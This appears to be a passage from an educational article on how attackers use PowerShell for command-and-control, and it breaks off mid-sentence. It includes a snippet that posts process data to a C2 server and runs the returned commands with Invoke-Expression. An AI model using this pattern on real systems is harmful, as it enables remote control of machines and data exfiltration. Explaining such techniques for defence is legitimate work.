PowerShell components used for C2

PowerShell, a powerful and extensible scripting language, is increasingly leveraged by attackers during post-exploitation to establish C2 channels. In this exploration, we’ll delve into specific PowerShell components that can be used for C2 purposes, providing detailed examples to illustrate their implementation.

Cmdlets for network communication

PowerShell offers cmdlets that enable communication with external servers, facilitating the establishment of C2 channels. The Invoke-RestMethod cmdlet, for instance, can be employed to interact with web services. Consider the following example:

$C2Server = "htt p://c2server.snowcap cyber.com"
$Payload = "Get-Process | Out-String"
# Sending data to C2 server
$response = Invoke-RestMethod -Uri "$C2Server/data" -Method Post -Body $Payload
# Executing received commands
Invoke-Expression $response

In this example, the PowerShell script sends the local system’...